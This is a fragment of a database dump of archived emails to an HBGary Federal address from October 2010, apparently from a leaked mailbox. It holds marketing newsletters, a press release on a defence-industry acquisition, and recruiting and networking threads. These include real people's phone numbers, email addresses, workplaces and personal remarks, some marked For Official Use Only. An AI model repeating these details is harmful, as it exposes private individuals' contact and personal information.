1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',8631,'aaron_hbgary_com/8631.html'),(12782,'2010-10-07','\"KippsDeSanto & Co.\" <kippsdesanto@kippsdesanto.com>','/aaron@hbgary.com/new/1297009399.M624907P14101Q7637.eml','aaron@hbgary.com','KippsDeSanto & Co. Advises Novii Design LLC on its Sale to GTCR and Six3 Systems, Inc.','\r\n\r\n\r\nWelcome to KippsDeSanto\r\n\r\n\r\n\r\nbody{margin:0px;}.style1 {font-family: Arial, Helvetica, sans-serif;font-size:20px; font-style:italic; font-weight:bold; line-height:24px}\r\n.style2 {font-family: Arial, Helvetica, sans-serif;font-size:17px; line-height:22px; margin-left:0px; margin-top:0px; padding:0px;}\r\n.style3 {font-family: Arial, Helvetica, sans-serif;font-size:17px; line-height:21px; margin-left:0px; margin-top:0px; padding:0px}\r\na.link{ text-decoration:underline;color:#000000}\r\na.link1{ text-decoration:underline;color:#000000; font-weight:bold}\r\na.style4 {color: #2a719f; text-decoration:none}\r\na.style4:hover {color: #2a719f; text-decoration:none}\r\n.style8 {font-family: Arial, Helvetica, sans-serif; font-size:20.4px; font-style:italic;color: #0080c3; line-height:23px; font-weight:bold; margin-left:0px; margin-top:0px}\r\n.style9 {font-family: Arial;font-size:12px; line-height:15px; color:#000000; text-align:justify;}\r\na.style9 {font-family: Arial; font-size:12px;line-height:15px; color:#000000; text-align:justify; text-decoration:none}\r\na.style9:hover {font-family: Arial;font-size:12px; line-height:15px; color:#000000; text-align:justify; text-decoration:none}\r\n.style10 {font-family: Arial, Helvetica, sans-serif; font-size:13px; font-style:normal;color: #000000; line-height:23px; font-weight:bold; margin-left:0px; margin-top:0px}\r\n.style13 {font-family: Arial, Helvetica, sans-serif; font-size:21px; font-style:normal;color: #0080c3; line-height:23px; font-weight:bold; margin-left:0px; margin-top:0px}\r\nul{margin-top:0px;margin-bottom:0px;}\r\n.left{margin-left:-25px; margin-top:0px; padding:0px;}\r\n.center{font-family: Arial;font-size:12px; line-height:15px; color:#000000; text-align:center;}\r\n.heading{ font-size:13px; letter-spacing:4px; color:#666;}\r\n\r\nHaving trouble viewing this email?\r\nClick here\r\n\r\n   \r\n\r\n\r\n \r\n\r\n \r\n \r\n  \r\n\r\n \r\n\r\n  &nbsp; \r\n\r\n\r\n\r\n  \r\n\r\n    \r\n                          \r\n                            &nbsp;\r\n                          \r\n                        \r\n\r\n  \r\n\r\n  \r\n    KippsDeSanto & Co. Advises Novii Design LLC on its Sale to GTCR and Six3 Systems, Inc.\r\n\r\n  \r\n\r\n   \r\n\r\n    \r\n\r\n  \r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n\r\n	\r\n      \r\n\r\n        \r\n        KippsDeSanto & Co. is pleased to send you the attached press release announcing the acquisition of our client, Novii Design LLC (\"Novii\"), by Six3 Systems, Inc. (“Six3”), a portfolio company of private equity group GTCR.  Six3 acquired Novii to broaden its advanced IT engineering capabilities and expand its depth and breadth in highly sought after Intelligence Community customers.  The transaction closed on September 27, 2010.\r\n\r\n          \r\n     Headquartered in Columbia, MD, Novii is a leading provider of advanced enterprise software and systems engineering services to the Intelligence Community. The Company’s deep expertise in data warehouses, analytics, and cloud technologies enables its customers \r\n\r\n        \r\n\r\n        \r\n      \r\n\r\n    \r\n\r\n  \r\n\r\n\r\n  \r\n\r\n    to more efficiently find, utilize, and act on their mission critical data.  Furthermore, Novii’s holistic, mission-driven development process and extensive experience in open source development allows it to provide its customers highly scalable, interoperable, and effective IT solutions with a high return on investment and low total cost of ownership.\r\n\r\nWe believe this transaction represents a number of key trends in government technology M&A:\r\n    \r\n\r\n  \r\n  \r\n\r\n    \r\n\r\n  \r\n  \r\n\r\n    \r\n      Focus and depth is a major differentiator for sellers seeking to optimize deal terms in today’s M&A market.\r\n\r\n      Strong buyer interest in firms supporting key Intelligence Community initiatives, particularly in the Fort Meade market.\r\n      \r\n            Heightened importance placed on in-demand capabilities, including high-end software development and cybersecurity solutions.\r\n                 Robust pace of M&A activity within the cybersecurity / intel arena, which represents 38% of government services transactions since the start of 2009.\r\n\r\n \r\n\r\n  \r\n\r\n  \r\n    \r\n\r\n  \r\n \r\n\r\n\r\n\r\n\r\n  \r\n\r\n    KippsDeSanto & Co. is an investment bank focused on delivering exceptional M&A and financing transaction results for leading technology and defense companies.  For more information on KippsDeSanto & Co., please visit  www.kippsdesanto.com.\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n  \r\n  \r\n\r\n    \r\n\r\n  \r\n\r\n  \r\n\r\n    We welcome the opportunity to discuss how KippsDeSanto & Co. can help you achieve your strategic objectives.  For more information on this particular transaction, please contact one of the deal team leaders below.\r\n\r\n  \r\n\r\n  \r\n\r\n    \r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n\r\n    \r\n\r\n      KippsDeSanto & Co. Deal Team Leaders\r\n\r\n	  \r\n\r\n	\r\n	\r\n     \r\n\r\n        Kevin DeSanto\r\n              Director\r\n              703.442.1402\r\n\r\n          kdesanto@kippsdesanto.com\r\n\r\n        Jon Yim\r\n\r\n              Vice President\r\n\r\n              703.442.1404\r\n          jyim@kippsdesanto.com\r\n\r\n      \r\n    \r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n&nbsp;   \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n  &nbsp; \r\n\r\n\r\n\r\n\r\n\r\n  \r\n\r\n    \r\n\r\n  \r\n  \r\n\r\n    \r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\nPRESS RELEASE\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n  \r\n\r\n  \r\n\r\n    \r\n\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n    \r\n\r\n  \r\n   \r\n\r\n    \r\n\r\n  \r\n   \r\n\r\n  \r\n    Six3 Systems Announces Acquisition of Novii Design, LLC\r\n\r\n  \r\n \r\n\r\n  \r\n    \r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  MCLEAN, VA. – September 29, 2010 – Six3 Systems, Inc. (\"Six3 Systems\"), a leading provider of highly strategic and differentiated solutions and services to the U.S. national security and defense intelligence communities, today announced the acquisition of Novii Design, LLC (\"Novii\"). Novii is a leading prime provider of large scale data fusion systems, cyber solutions and high-end enterprise architectures to the Intelligence Community. With over 70 highly technical, trained and cleared employees, Novii designs, builds and supports some of our nation\'s most sensitive, mission-critical software applications and systems. \r\n\r\n         \r\n\r\n        Six3 Systems was formed in April 2009 when GTCR, one of the nation\'s leading private equity firms, partnered with Robert Coleman, former President and COO of ManTech International. Novii is Six3 Systems\' third acquisition since its founding. Six3 Systems previously acquired Harding Security Associates, Inc., a leading provider of identity intelligence, forensics analysis and security services, in July 2009, and BIT Systems, Inc., a leading provider of Intelligence, Surveillance and Reconnaissance (\"ISR\") systems design, development, integration and maintenance services, in December 2009.\r\n\r\n		\r\n\r\n        \"Novii\'s mission-critical enterprise software development capabilities will strategically enhance our offerings and serve as a key component in achieving our objective of building a leading national security services provider with highly specialized capabilities,\" said Robert Coleman, CEO of Six3 Systems. \"We believe that Novii\'s ability to combine open source engineering with some of the most advanced commercial application and infrastructure solutions available today positions us well for the next evolution of Intelligence Community systems development, systems engineering and analysis. Combining Novii\'s capabilities with our existing core competencies in identity intelligence, counterintelligence and ISR will create a highly strategic asset in the U.S. national security and defense intelligence communities.\"  \r\n\r\n      \r\n\r\n        “We are very pleased to join forces with Six3 Systems,\" commented Rebekah Lewis-Polancich, co-founder and President of Novii. \"We believe that Six3 Systems will provide us with new capabilities and the reach back to better support our customers and their missions while maintaining the quality, innovation and responsiveness valued by our clients.\" \r\n\r\n      \r\n\r\n        KippsDeSanto & Co. was the exclusive financial advisor to Novii. Cooley LLP provided legal counsel to Novii. Kirkland & Ellis LLP provided legal counsel to Six3 Systems.\r\n\r\n     \r\n      \r\n\r\n      \r\n\r\n        About Six3 Systems\r\nSix3 Systems, headquartered in McLean, Virginia, is focused on providing highly strategic and differentiated solutions and services to support the missions of customers in the U.S. national security and defense intelligence communities. For more information about Six3 Systems, email info@six3systems.com .\r\n\r\n\r\n\r\n      \r\n\r\n\r\n About GTCR\r\nFounded in 1980, GTCR is a leading private equity firm focused on investing in growth companies in the Financial Services & Technology, Healthcare and Information Services & Technology industries. The Chicago-based firm pioneered the \"Leaders Strategy\" - finding and partnering with world-class leaders as the critical first step in identifying, acquiring and building market-leading companies through acquisitions and organic growth. Since its inception, GTCR has invested more than $8 billion in over 200 companies. For more information, please visit www.gtcr.com.\r\n\r\n     \r\n      \r\n\r\n       \r\n\r\n  \r\n  \r\n\r\n\r\n\r\n \r\n\r\n&nbsp;   \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n\r\n\r\n\r\n  \r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by kippsdesanto@kippsdesanto.com.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nKippsDeSanto & Co. | 1600 Tysons Boulevard | Suite 375 | McLean | VA | 22102\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10898,'aaron_hbgary_com/10898.html'),(12783,'2010-10-07','\"Jason Mueller\" <jmueller2004@gmail.com>','/aaron@hbgary.com/new/1297009399.M842628P14101Q7638.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Potentially Available Talent','Aaron,\r\n\r\nI\'m free for lunch today.  I\'m located at FBI HQ so anywhere in the\r\nvicinity works for me, however Gordon Biersch is usually the easiest\r\ngiven the proximity to the Metro Center station.  Monday is a holiday\r\nso I will be off and Tuesday is the final walk through of my newly\r\nconstructed home so I will be out then as well.  Let me know what you\r\nthink and we can plan from there.\r\n\r\nPalantir rocks and I\'m sure it\'ll be a great event however that\r\nTuesday afternoon I plan on making it up to Mandiant\'s MIRCon to have\r\na few cocktails with friends.\r\n\r\nBTW,tickets?\r\n\r\nR/\r\n\r\nJason\r\n\r\nOn Wed, Oct 6, 2010 at 11:32 PM, Aaron Barr  wrote:\r\n> Hi Jason,\r\n>\r\n> Sorry for going dark.  Multiple presentation preparing for just gets me a bit distracted.  I am pretty open tomorrow.  Friday I am up in MD.  Monday I am open for lunch.  Tuesday I will be giving a Threat Intelligence presentation at the Palantir GovCon6.  Other days available next week after that.  Let me know.\r\n>\r\n> BTW.  What tickets do you have? :)\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Oct 1, 2010, at 9:09 PM, Jason Mueller wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Let me know when you\'re free for lunch next week.  I\'m unavailable on the 6th however any other day besides then will work.  Looking forward to meeting!\r\n>>\r\n>> R/\r\n>>\r\n>> Jason Mueller\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> On Sep 24, 2010, at 11:29 PM, Aaron Barr wrote:\r\n>>\r\n>>> Hi Jason,\r\n>>>\r\n>>> Sorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>> Thanks again for coming on the show, we definitely appreciate you\r\n>>>> taking time out of your busy day to speak with us.  I\'m interested in\r\n>>>> speaking further when you get back from your trip to Seattle.  Do you\r\n>>>> happen to have Federal SE positions available as well?  Let me know\r\n>>>> when you get a chance.\r\n>>>>\r\n>>>> R/\r\n>>>>\r\n>>>> Jason Mueller\r\n>>>>\r\n>>>> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>>>>> Hey Jason,\r\n>>>>>\r\n>>>>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal, LLC\r\n>>>>> 719.510.8478\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal, LLC\r\n>>> 719.510.8478\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n>\r\n',14058,'aaron_hbgary_com/14058.html'),(12784,'2010-10-07','\"AFCEA NOVA\" <info@afceanova.org>','/aaron@hbgary.com/new/1297009400.M335704P14101Q7640.eml','aaron@hbgary.com','Don\'t Miss the Small Business Sessions at Air Force IT Day (AFCEA NOVA)','\r\n\r\n\r\n  AFCEA-NOVA\r\n   \r\n  \r\nHaving trouble viewing this email?\r\nClick here\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      Small\r\nBusiness Plenary Sessions | 9th Annual Air Force IT Day\r\n      \r\n      &nbsp;\r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      9th Annual Air Force IT Day\r\nIT Supporting and Enabling the Joint Mission\r\n      Strengthening\r\nAir, Space, and Cyberspace Capabilities\r\n      \r\n      Thursday, October 21, 2010\r\nVienna, Virginia\r\n      Read more and register now at \r\n      www.afceanova.org/air-force-it-day\r\n      \r\n      Small\r\nBusiness Sessions \r\n      Don\'t\r\nmiss the Small Business Sessions that will be conducted in parallel to\r\nthe main program.\r\n      The small business\r\nsessions include featured speakers who can address the critical role\r\nsmall businesses plan in the modern Air Force.\r\n      Small business speakers\r\ninclude:\r\nBill Donaldson\r\n      Civ USAF AFMC\r\nESC/SB\r\n      Col Kim Johnson \r\n      Director of\r\nCommunications \r\n      Robins Air Force\r\nBase, GA\r\n      Read more and register\r\nat \r\n      www.afceanova.org/air-force-it-day\r\n      Integrator Town Halls\r\n      The\r\nplenary sessions also will include \"Town Hall\"-style interviews of\r\nlarge integrators who will discuss their initiatives with small\r\nbusinesses.\r\n      This is\r\nyour chance to have face-to-face discussions with major integrators\r\nsuch as:\r\nHP,\r\nNCI,\r\nHARRIS,\r\nCACI,\r\nSERCO,\r\nQinetiQ,\r\nIBM,\r\nSAIC,\r\nLockheed Martin\r\n      \r\n      \r\n      Plus, be\r\nsure to stop by the MAJCOM booths, where you can talk one-on-one about\r\ntheir programs and needs.\r\n      Main Session Agenda and Speakers\r\n      Air Force IT Day brings you a power-packed\r\nline-up&nbsp; that will help industry leaders make resource\r\ninvestment\r\ndecisions in this fiscally constrained environment.\r\nGet the full list of speakers and register at \r\n      www.afceanova.org/air-force-it-day\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      Sponsor\r\nAir Force IT Day\r\n      Air Force IT day draws over 700 of your colleagues in\r\nthe field.&nbsp;\r\n      Put your best foot forward to AFCEA NOVA\'s partners in\r\ngovernment and industry.\r\n      Sponsorship packages are available for any size and\r\nbudget, with special discounts for small businesses.\r\n      Read more and sign up\r\n      www.afceanova.org/afitday\r\n      Upcoming\r\nAFCEA NOVA Events \r\n      With\r\nworld-class speakers and record-breaking attendance year after year,\r\nAFCEA\r\nNOVA\'s event programs are opportunity you can\'t afford to pass up.\r\n      \r\n        \r\n          \r\n        \r\n          Thursday,\r\n10/14/2010\r\n          \r\n           Fall\r\n2010 Mentor Protégé Night\r\n        \r\n          \r\n        \r\n          Friday,\r\n10/15/2010\r\n          \r\n           October\r\nLuncheon with MG Steven Smith\r\n        \r\n          \r\n        \r\n          Tuesday,\r\n10/19/2010\r\n          \r\n           Military/Government\r\nCareer Transition Seminar &amp; Dinner\r\n        \r\n          \r\n        \r\n          Friday,\r\n11/12/2010 \r\n           Heroines\r\nin Technology Gala Dinner\r\n        \r\n          \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n    \r\n  \r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by info@afceanova.org.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nAFCEA NOVA | 400 North Washington St | Ste 300 | Alexandria | VA | 22314\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13133,'aaron_hbgary_com/13133.html'),(12785,'2010-10-07','\"Chris Gerling Jr\" <cgerlingjr@gmail.com>','/aaron@hbgary.com/new/1297009400.M604964P14101Q7641.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: The job market and other stuff','Tickets?\r\nI would be coming from Richmond.  Next thursday i&#39;ll be in NOVA and available after 2pm, would that work?\r\nOn Oct 6, 2010 11:41 PM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:&gt; Curious... What tickets do you hold? :)&gt; \r\n&gt; Aaron&gt; &gt; On Oct 4, 2010, at 4:05 PM, Chris Gerling Jr wrote:&gt; &gt;&gt; Hi Aaron,&gt;&gt; &gt;&gt; Let me know what you&#39;ve got going on the next couple weeks.  Perhaps we can find a day to do lunch or dinner, or just have a more in depth conversation over Skype or something.\r\n&gt;&gt; &gt;&gt; Thanks,&gt;&gt; &gt;&gt; Chris Gerling&gt;&gt; Security Professional and Co-founder of the SecuraBit podcast.  http://www.securabit.com&gt;&gt; \r\n&gt;&gt; &gt;&gt; On Fri, Sep 24, 2010 at 11:30 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:&gt;&gt; Hey Chris,&gt;&gt; &gt;&gt; Anytime.  I had fun.&gt;&gt; \r\n&gt;&gt; I would like to talk some more.  I get back the week of the 4th.  Lets talk sometime after that and I can fill you in on what we have, what we are chasing, and what positions we will likely have in the near future.\r\n&gt;&gt; &gt;&gt; Aaron&gt;&gt; &gt;&gt; On Sep 23, 2010, at 9:44 AM, Chris Gerling Jr wrote:&gt;&gt; &gt;&gt;&gt; Hi Aaron,&gt;&gt;&gt; &gt;&gt;&gt; Thanks again for coming on with us last night, we had a great time.\r\n&gt;&gt;&gt; &gt;&gt;&gt; I was curious if you wanted to talk some more about the job landscape and what you might have available.  I&#39;m not really able to move for a bit since I decided to become a homeowner a second time last year, but would definitely be interested in any opportunities involving a smaller more tight knit group.  \r\n&gt;&gt;&gt; &gt;&gt;&gt; Thanks,&gt;&gt;&gt; &gt;&gt;&gt; Chris Gerling&gt;&gt;&gt; Security Professional and Co-founder of the SecuraBit podcast.  http://www.securabit.com\r\n&gt;&gt; &gt;&gt; Aaron Barr&gt;&gt; CEO&gt;&gt; HBGary Federal, LLC&gt;&gt; 719.510.8478&gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; &gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal, LLC\r\n&gt; 719.510.8478&gt; &gt; &gt; \r\n',176,'aaron_hbgary_com/176.html'),(12786,'2010-10-07','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297009400.M67491P14101Q7639.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Question','\r\n\r\n\r\n\r\n\r\nRE: Question\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI\'ve forwarded this to some of the NANA leadership.\r\n\r\nScott\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wed 10/6/2010 11:10 PM\r\nTo: Sheldon, Scott W.\r\nSubject: Re: Question\r\n\r\nThanks Scott.\r\n\r\nI can\'t remember if I mentioned it but it might be of interest to some of your NANA folks.&nbsp; I am giving a presentation on Oct 12th at Palantirs GovCon6 on Threat Intelligence, where we will be discussing methodologies for doing threat research using our volume malware processor and the Palantir analysis toolsuite.\r\n\r\nAaron\r\n\r\nOn Oct 6, 2010, at 5:34 PM, Sheldon, Scott W. wrote:\r\n\r\n&gt; Aaron,\r\n&gt;\r\n&gt; I\'ve included Scott Shinberg (BD) and Bob Paczynski (Line) on the CC\r\n&gt; line of this note.\r\n&gt;\r\n&gt; They\'re at least a good place to start.\r\n&gt;\r\n&gt; Scott\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Wednesday, October 06, 2010 11:32 AM\r\n&gt; To: Sheldon, Scott W.\r\n&gt; Subject: Re: Question\r\n&gt;\r\n&gt; Hi Scott,\r\n&gt;\r\n&gt; Commercial IA/Cyber\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n&gt;\r\n&gt; On Oct 6, 2010, at 9:49 AM, &quot;Sheldon, Scott W.&quot;\r\n&gt; &lt;SCOTT.W.SHELDON@saic.com&gt; wrote:\r\n&gt;\r\n&gt;&gt; Aaron,\r\n&gt;&gt;\r\n&gt;&gt; Are you looking for commercial Cyber/Information Assurance, or\r\n&gt; something\r\n&gt;&gt; else commercial?\r\n&gt;&gt;\r\n&gt;&gt; Scott\r\n&gt;&gt;\r\n&gt;&gt; -----Original Message-----\r\n&gt;&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt;&gt; Sent: Wednesday, October 06, 2010 8:03 AM\r\n&gt;&gt; To: Sheldon, Scott W.\r\n&gt;&gt; Subject: Question\r\n&gt;&gt;\r\n&gt;&gt; Scott,\r\n&gt;&gt;\r\n&gt;&gt; Is there someone in your commercial organization you can put me in\r\n&gt;&gt; contact with?&nbsp; If so that would be great.\r\n&gt;&gt;\r\n&gt;&gt; Thanks,\r\n&gt;&gt; Aaron Barr\r\n&gt;&gt; CEO\r\n&gt;&gt; HBGary Federal, LLC\r\n&gt;&gt; 719.510.8478\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7833,'aaron_hbgary_com/7833.html'),(12787,'2010-10-07','\"Merritt, Mary\" <Mary.Merritt@dhs.gov>','/aaron@hbgary.com/new/1297009400.M919591P14101Q7642.eml','aaron@hbgary.com','TSA Cyber Security in Transportation Summit','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI just wanted to introduce myself as my husband, David\r\nMerritt mentioned that he knows you.\r\n\r\n&nbsp;\r\n\r\nI understand that you will be presenting for Rich and I look\r\nforward to meeting you at the Summit.\r\n\r\n&nbsp;\r\n\r\nIf you are ever in the TSA OIT offices, let me know.\r\n\r\n\r\nHave a fabulous day!\r\n\r\n&nbsp;\r\n\r\nMary\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMary Merritt, CAP\r\n\r\nCyber Security Awareness and Outreach\r\n\r\nInformation Assurance Division (IAD)\r\n\r\nOffice of Information Technology (OIT)\r\n\r\nTransportation Security Administration (TSA)\r\n\r\nDepartment of Homeland Security (DHS)\r\n\r\nPhone: 571-227-5232\r\n\r\nCell:&nbsp; 571-309-1922\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThe contents of this correspondence shall not be interpreted as\r\ncontractual direction by the U.S. Department of Homeland\r\nSecurity/Transportation Security Administration (TSA); should there be any\r\nquestion regarding this technical direction being outside approved contractual\r\nscope please contact the TSA Contracting Officer who is the sole source of\r\ncontractual direction from TSA prior to the start of the activities. This\r\ncorrespondence is For Official Use Only.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15308,'aaron_hbgary_com/15308.html'),(12788,'2010-10-07','\"Aaron Barr\" 